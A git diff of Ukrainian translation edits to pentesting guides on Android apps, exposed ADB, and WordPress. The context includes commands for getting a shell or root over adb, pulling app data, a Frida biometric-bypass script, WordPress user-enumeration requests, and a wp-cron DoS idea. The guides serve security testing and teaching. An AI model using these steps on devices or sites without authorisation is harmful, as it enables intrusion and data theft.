> Перш за все, вам потрібне середовище, де ви можете встановити додаток і все середовище (сертифікат CA Burp, Drozer і Frida в основному). Тому дуже рекомендується використовувати пристрій з root-доступом (емулятор або ні).
|
||||
|
||||
### Онлайн динамічний аналіз
|
||||
|
||||
@ -243,7 +243,7 @@ content-protocol.md
|
||||
|
||||
#### Використання емулятора
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створювати **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні x86** версії **підтримують ARM бібліотеки** без необхідності повільного емулятора arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Ви можете створити **x86** та **arm** пристрої, і відповідно до [**цього**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**останні x86** версії **підтримують ARM бібліотеки** без необхідності повільного емулятора arm).
|
||||
- Дізнайтеся, як налаштувати його на цій сторінці:
|
||||
|
||||
{{#ref}}
|
||||
@ -277,9 +277,9 @@ avd-android-virtual-device.md
|
||||
|
||||
### Ненавмисний витік даних
|
||||
|
||||
**Журналювання**
|
||||
**Логування**
|
||||
|
||||
Розробники повинні бути обережними, щоб не публічно розкривати **інформацію для налагодження**, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів програми, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
Розробники повинні бути обережними, щоб не публічно розкривати **інформацію для налагодження**, оскільки це може призвести до витоку чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів додатка, щоб виявити та захистити чутливу інформацію. **Pidcat** віддається перевага за його простоту використання та читабельність.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що з **пізніми версіями Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних журналів**. Тому додатки не можуть отримувати доступ до журналів інших додатків.\
|
||||
@ -291,22 +291,22 @@ avd-android-virtual-device.md
|
||||
|
||||
**Журнали аварій**
|
||||
|
||||
Якщо додаток **зависає** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
Якщо додаток **виникає аварія** і **зберігає журнали**, ці журнали можуть допомогти зловмисникам, особливо коли додаток не може бути реверсовано. Щоб зменшити цей ризик, уникайте ведення журналів при аваріях, а якщо журнали повинні передаватися через мережу, переконайтеся, що вони надсилаються через SSL-канал для безпеки.
|
||||
|
||||
Як пентестер, **слідкуйте за цими журналами**.
|
||||
|
||||
**Дані аналітики, надіслані третім особам**
|
||||
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація до сторонніх сервісів.
|
||||
Додатки часто інтегрують сервіси, такі як Google Adsense, які можуть ненавмисно **викривати чутливі дані** через неправильну реалізацію розробниками. Щоб виявити потенційні витоки даних, рекомендується **перехопити трафік програми** та перевірити, чи надсилається якась чутлива інформація третім особам.
|
||||
|
||||
### SQLite БД
|
||||
|
||||
Більшість додатків використовуватимуть **внутрішні SQLite бази даних** для збереження інформації. Під час пентесту зверніть увагу на **бази даних**, які створені, назви **таблиць** та **стовпців** і всі **дані**, що зберігаються, оскільки ви можете знайти **чутливу інформацію** (що буде вразливістю).\
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`.
|
||||
Бази даних повинні розташовуватися в `/data/data/the.package.name/databases`, як `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Якщо база даних зберігає конфіденційну інформацію і **зашифрована**, але ви можете **знайти** **пароль** всередині програми, це все ще **вразливість**.
|
||||
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`.
|
||||
Перерахуйте таблиці, використовуючи `.tables`, і перераховуйте стовпці таблиць, виконуючи `.schema <table_name>`
|
||||
|
||||
### Drozer (Експлуатація активностей, постачальників контенту та сервісів)
|
||||
|
||||
@ -342,9 +342,9 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати несподівані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
Якщо tapjacking не запобігається, ви можете зловживати експортованою активністю, щоб змусити **користувача виконувати неочікувані дії**. Для отримання додаткової інформації про [**що таке Tapjacking, перейдіть за посиланням**](#tapjacking).
|
||||
|
||||
### Експлуатація постачальників контенту - Доступ до чутливої інформації та її маніпуляція
|
||||
### Експлуатація постачальників контенту - доступ до чутливої інформації та її маніпуляція
|
||||
|
||||
[**Прочитайте це, якщо хочете освіжити знання про постачальника контенту.**](android-applications-basics.md#content-provider)\
|
||||
Постачальники контенту в основному використовуються для **обміну даними**. Якщо у програми є доступні постачальники контенту, ви можете **витягти чутливі** дані з них. Також цікаво протестувати можливі **SQL-ін'єкції** та **перетворення шляхів**, оскільки вони можуть бути вразливими.
|
||||
@ -367,7 +367,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
Приймач трансляцій буде чекати на певний тип повідомлення. В залежності від того, як приймач обробляє повідомлення, він може бути вразливим.\
|
||||
[**Дізнайтеся, як експлуатувати приймачі трансляцій за допомогою Drozer.**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Експлуатація схем / Глибоких посилань**
|
||||
### **Експлуатація схем / глибоких посилань**
|
||||
|
||||
Ви можете шукати глибокі посилання вручну, використовуючи інструменти, такі як MobSF, або скрипти, як [цей](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Ви можете **відкрити** оголошену **схему** за допомогою **adb** або **браузера**:
|
||||
@ -383,7 +383,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
```
|
||||
**Код, що виконується**
|
||||
|
||||
Щоб знайти **код, який буде виконуватися в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконуватись в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -394,13 +394,13 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовує правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як доменне ім'я), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без CSRF токена, а вразлива кінцева точка використовує правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
Цей [цікавий звіт про баг-баунті](https://hackerone.com/reports/855618) про посилання (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Перевірка та верифікація транспортного шару
|
||||
### Перевірка та верифікація транспортного рівня
|
||||
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
@ -412,7 +412,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
|
||||
#### Інспекція трафіку
|
||||
|
||||
@ -420,7 +420,7 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
||||
|
||||
Додатки, що націлені на **API Level 24 і вище**, потребують модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватися інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката в сховище не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката в сховище не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
@ -439,8 +439,8 @@ SSL Pinning - це захід безпеки, коли додаток перев
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) - це набір інструментів для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
|
||||
**Ви можете отримати доступ до запущеного додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете проводити тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/index.html)
|
||||
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
@ -467,7 +467,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Чутливі дані в Keystore**
|
||||
|
||||
В Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати доступ** до нього. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
|
||||
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
|
||||
|
||||
@ -489,7 +489,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна обробляється як безпечний, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -501,7 +501,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до шкідливих ін'єкцій Намір.
|
||||
Небезпека полягає в тому, що зловмисники можуть активувати неекспортовані компоненти додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до шкідливих ін'єкцій Намір.
|
||||
|
||||
### Основні висновки
|
||||
|
||||
@ -538,14 +538,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде встановити свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Вам потрібно **спочатку запустити VM в genymotion** і **потім MobSF.**_\
|
||||
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). _Примітка: Спочатку потрібно **запустити VM в genymotion**, а **потім MobSF.**_\
|
||||
**Динамічний аналізатор MobSF** може:
|
||||
|
||||
- **Вивантажити дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або вам потрібно натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- **Вивантажити дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
|
||||
- Захоплювати **HTTPS трафік**
|
||||
- Використовувати **Frida** для отримання **інформації під час виконання**
|
||||
|
||||
@ -553,7 +553,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
|
||||
**Frida**
|
||||
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера** та для **моніторингу цікавих API**.\
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
@ -561,11 +561,11 @@ MobSF також дозволяє вам завантажувати власні
|
||||
|
||||
.png>)
|
||||
|
||||
Більше того, у вас є деякі допоміжні функції Frida:
|
||||
Крім того, у вас є деякі допоміжні функції Frida:
|
||||
|
||||
- **Перерахувати завантажені класи**: Він виведе всі завантажені класи
|
||||
- **Захопити рядки**: Він виведе всі захоплені рядки під час використання програми (дуже шумно)
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, які порівнюються** і чи був результат True чи False.
|
||||
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True чи False.
|
||||
- **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
|
||||
- **Шукати шаблон класу**: Шукати класи за шаблоном
|
||||
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
|
||||
@ -610,7 +610,7 @@ receivers
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -672,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш зручним для розробників мобільних додатків та фахівців з безпеки.
|
||||
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш зручним для розробників мобільних додатків та фахівців з безпеки.
|
||||
|
||||
Він здатний:
|
||||
|
||||
@ -729,7 +729,7 @@ APKiD надає вам інформацію про **те, як був ство
|
||||
|
||||
### Manual
|
||||
|
||||
[Прочитайте цей посібник, щоб дізнатися кілька трюків про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
|
||||
[Прочитайте цей посібник, щоб дізнатися деякі хитрощі про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
З [документації](https://developer.android.com/studio/command-line/adb):
|
||||
|
||||
Android Debug Bridge (adb) — це інструмент командного рядка для зв'язку з пристроями на базі Android та емуляторами. Типові дії включають встановлення пакетів, налагодження та отримання інтерактивної оболонки Unix на пристрої.
|
||||
Android Debug Bridge (adb) — це інструмент командного рядка для зв'язку з пристроями та емуляторами на базі Android. Типові дії включають встановлення пакетів, налагодження та отримання інтерактивної оболонки Unix на пристрої.
|
||||
|
||||
- Історичний стандартний TCP порт: 5555 (класичний режим "adb tcpip").
|
||||
- Сучасне бездротове налагодження (Android 11+) використовує TLS-парування та виявлення сервісів mDNS. Порт підключення є динамічним і виявляється через mDNS; він може бути не 5555. Парування виконується за допомогою adb pair host:port, після чого слідує adb connect. Дивіться примітки нижче для наступних наслідків.
|
||||
@ -16,9 +16,9 @@ Android Debug Bridge (adb) — це інструмент командного р
|
||||
PORT STATE SERVICE VERSION
|
||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||
```
|
||||
## Підключення
|
||||
## Connect
|
||||
|
||||
Якщо ви виявите, що ADB відкритий і доступний, спробуйте швидко підключитися та провести енумерацію:
|
||||
Якщо ви виявите, що ADB відкритий і доступний, спробуйте швидко підключитися та перерахувати:
|
||||
```bash
|
||||
adb connect <ip>[:<port>] # Default is 5555 for classic mode
|
||||
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
|
||||
@ -26,7 +26,7 @@ adb shell # Get an interactive shell (uid usually shell)
|
||||
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
|
||||
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
|
||||
```
|
||||
- Якщо пристрій вимагає аутентифікацію ADB (ro.adb.secure=1), вам потрібно буде бути попередньо авторизованим (USB RSA auth) або використовувати бездротову налагодження Android 11+ (що вимагає одноразового коду, який відображається на пристрої).
|
||||
- Якщо пристрій вимагає аутентифікацію ADB (ro.adb.secure=1), вам потрібно буде бути попередньо авторизованим (USB RSA auth) або використовувати бездротову пару налагодження Android 11+ (що вимагає одноразового коду, що відображається на пристрої).
|
||||
- Деякі образи постачальників, інженерні/користувацькі збірки, емулятори, телевізори, STB та розробницькі набори відкривають adbd без аутентифікації або з adbd, що працює як root. У таких випадках ви зазвичай потрапляєте безпосередньо в оболонку або оболонку root.
|
||||
|
||||
Для загальної довідки по командам ADB дивіться:
|
||||
@ -35,7 +35,7 @@ adb root || true # Works on eng/userdebug/insecure builds, many em
|
||||
../mobile-pentesting/android-app-pentesting/adb-commands.md
|
||||
{{#endref}}
|
||||
|
||||
## Швидке післяексплуатаційне тестування
|
||||
## Швидке пост-експлуатаційне тестування
|
||||
|
||||
Якщо у вас є оболонка, перевірте привілеї та контекст SELinux:
|
||||
```bash
|
||||
@ -63,7 +63,7 @@ adb pull "/sdcard/<pkg>"
|
||||
- /data/misc/wifi/ (мережеві конфігурації/ключі на старіших версіях)
|
||||
- Специфічні для додатка SQLite БД та shared_prefs під /data/data/<pkg>
|
||||
|
||||
Ви можете використовувати це для отримання чутливої інформації (наприклад, секретів додатка). Для приміток про розгляд даних Chrome, дивіться питання, згадане [тут](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
Ви можете використовувати це для отримання чутливої інформації (наприклад, секретів додатка). Для приміток про розгляд даних Chrome дивіться питання, згадане [тут](https://github.com/carlospolop/hacktricks/issues/274).
|
||||
|
||||
### Виконання коду та доставка корисного навантаження
|
||||
|
||||
@ -79,7 +79,7 @@ adb shell am startservice -n <pkg>/<service>
|
||||
adb shell am broadcast -a <action>
|
||||
```
|
||||
|
||||
### Переадресація портів та півертинг
|
||||
### Переадресація портів та піводування
|
||||
|
||||
Навіть без root, adb може переадресовувати локальні порти на порти пристрою і навпаки. Це корисно для доступу до сервісів, прив'язаних локально на пристрої, або для відкриття сервісів атакуючого для пристрою.
|
||||
|
||||
@ -115,9 +115,9 @@ Notes
|
||||
- _adb-tls-pairing._tcp (параметр)
|
||||
- _adb-tls-connect._tcp (підключення з парою)
|
||||
- _adb._tcp (старий/прямий)
|
||||
- Якщо mDNS фільтрується, класичне USB-підтримуване увімкнення може все ще працювати на деяких збірках: `adb tcpip 5555`, а потім `adb connect <ip>:5555` (до перезавантаження).
|
||||
- Якщо mDNS фільтрується, класичне USB-допоміжне включення може все ще працювати на деяких збірках: `adb tcpip 5555`, а потім `adb connect <ip>:5555` (до перезавантаження).
|
||||
|
||||
Офensive implications: якщо ви можете взаємодіяти з інтерфейсом пристрою (наприклад, фізичний доступ або неправильна конфігурація мобільного MDM), щоб увімкнути бездротове налагодження та переглянути код пари, ви можете встановити довготривалий підключений ADB-канал без кабелю. Деякі OEM надають ADB через TCP в інженерних/розробницьких образах без пари — завжди перевіряйте.
|
||||
Офensive implications: якщо ви можете взаємодіяти з інтерфейсом пристрою (наприклад, фізичний доступ або неправильна конфігурація мобільного MDM), щоб увімкнути бездротове налагодження та переглянути код пари, ви можете встановити довгостроковий підключений ADB-канал без кабелю. Деякі OEM надають ADB через TCP в інженерних/розробницьких образах без пари — завжди перевіряйте.
|
||||
|
||||
## Hardening / Detection
|
||||
|
||||
|
||||
@ -24,7 +24,7 @@
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` - це файл, який представляє функцію WordPress, що дозволяє передавати дані з HTTP, що діє як механізм транспорту, а XML - як механізм кодування. Цей тип зв'язку був замінений на [REST API](https://developer.wordpress.org/rest-api/reference) WordPress.
|
||||
- Папка `wp-content` є основним каталогом, де зберігаються плагіни та теми.
|
||||
- `wp-content/uploads/` Це каталог, де зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-content/uploads/` - це каталог, де зберігаються всі файли, завантажені на платформу.
|
||||
- `wp-includes/` Це каталог, де зберігаються основні файли, такі як сертифікати, шрифти, JavaScript файли та віджети.
|
||||
- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує XML файл карти сайту з усіма публічними постами та публічно запитуваними типами постів і таксономіями.
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
- **Адміністратор**
|
||||
- **Редактор**: Публікує та керує своїми та чужими постами
|
||||
- **Автор**: Публікує та керує своїми постами
|
||||
- **Співробітник**: Пише та керує своїми постами, але не може їх публікувати
|
||||
- **Співпрацівник**: Пише та керує своїми постами, але не може їх публікувати
|
||||
- **Підписник**: Переглядає пости та редагує свій профіль
|
||||
|
||||
## **Пасивна енумерація**
|
||||
@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Плагіни та Теми
|
||||
|
||||
Ви, напевно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно Брутфорсити список Плагінів та Тем** (на щастя, для нас є автоматизовані інструменти, які містять ці списки).
|
||||
Ви, ймовірно, не зможете знайти всі можливі Плагіни та Теми. Щоб виявити їх усі, вам потрібно буде **активно здійснити Брутфорс списку Плагінів та Тем** (на щастя для нас, існують автоматизовані інструменти, які містять ці списки).
|
||||
|
||||
### Користувачі
|
||||
|
||||
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, Брутфорсуючи ID користувачів:
|
||||
- **ID Брут:** Ви отримуєте дійсних користувачів з сайту WordPress, здійснюючи Брутфорс ID користувачів:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -97,7 +97,7 @@ curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких ця функція активована**.
|
||||
Зверніть увагу, що цей кінцевий пункт відкриває лише користувачів, які зробили пост. **Будуть надані лише відомості про користувачів, у яких активована ця функція**.
|
||||
|
||||
Також зверніть увагу, що **/wp-json/wp/v2/pages** може витікати IP-адреси.
|
||||
|
||||
@ -207,7 +207,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Цей файл зазвичай існує в корені сайту Wordpress: **`/wp-cron.php`**\
|
||||
Цей файл зазвичай існує в кореневій директорії сайту Wordpress: **`/wp-cron.php`**\
|
||||
Коли цей файл **доступний**, виконується "**важкий**" MySQL **запит**, тому його можуть використовувати **зловмисники** для **виклику** **DoS**.\
|
||||
Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (кожного разу, коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з високим трафіком може викликати проблеми (DoS).
|
||||
|
||||
@ -217,7 +217,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
